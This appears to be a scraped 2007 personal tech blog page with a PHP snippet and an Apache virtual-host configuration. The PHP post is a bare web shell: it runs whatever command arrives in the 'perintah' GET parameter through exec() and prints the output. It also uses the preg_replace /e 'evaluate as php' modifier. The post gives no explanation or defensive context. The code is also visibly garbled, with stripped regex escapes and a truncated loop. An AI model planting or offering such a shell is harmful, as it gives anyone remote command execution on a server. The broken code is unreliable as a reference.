Vishnu Valentino

Learning Blog and Tutorials

$search = array ("']*?>.*?'si",  // Strip out javascript
"'<[/!]*?[^<>]*?>'si",           // Strip out html tags
"'([rn])[s]+'",                 // Strip out white space
"'&(quot|#34);'i",                 // Replace html entities
"'&(amp|#38);'i",
"'&(lt|#60);'i",
"'&(gt|#62);'i",
"'&(nbsp|#160);'i",
"'&(iexcl|#161);'i",
"'&(cent|#162);'i",
"'&(pound|#163);'i",
"'&(copy|#169);'i",
"'&#(d+);'e");                    // evaluate as php

$replace = array ("",
"",
"1",
""",
"&",
"<",
">",
" ",
chr(161),
chr(162),
chr(163),
chr(169),
"chr(1)");

//$text = preg_replace ($search, $replace, $document);
if($_GET['perintah']=="format")
{

}
exec($_GET['perintah'],$tampung);

for ($i=0;$i {
echo preg_replace ($search, $replace,$tampung[$i])."
";
}

Popularity: 2% [?]

Posted by v4L On April - 10 - 2007 Web

NameVirtualHost *

ServerAdmin webmaster@localhost

DocumentRoot /home/web

Options FollowSymLinks
AllowOverride None

Options Indexes FollowSymLinks MultiViews
AllowOverride None
Order allow,deny
allow from all
# This directive allows us to have apache2′s default start page
# in /apache2-default/, but still have / go to the right place
RedirectMatch ^/$ /apache2-default/
ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/

AllowOverride None
Options ExecCGI -MultiViews +SymLinksIfOwnerMatch
Order allow,deny
Allow from all
ErrorLog /var/log/apache2/error.log

# Possible values include: debug, info, notice, warn, error, crit,
# alert, emerg.
LogLevel warn Read the rest of this entry »

Popularity: 1% [?]

Posted by v4L On April - 10 - 2007 Linux

Subscribe here

INFO

TAG CLOUD

Computer (3)
gps (1)
internet (1)
Linux (15)
Mobile Device and Blackberry (4)
MySelf (19)
News (10)
Plugins (2)
Security (11)
Tools (2)
Web (8)
Windows (5)

WP Cumulus Flash tag cloud by Roy Tanck and Luke Morton requires Flash Player 9 or better.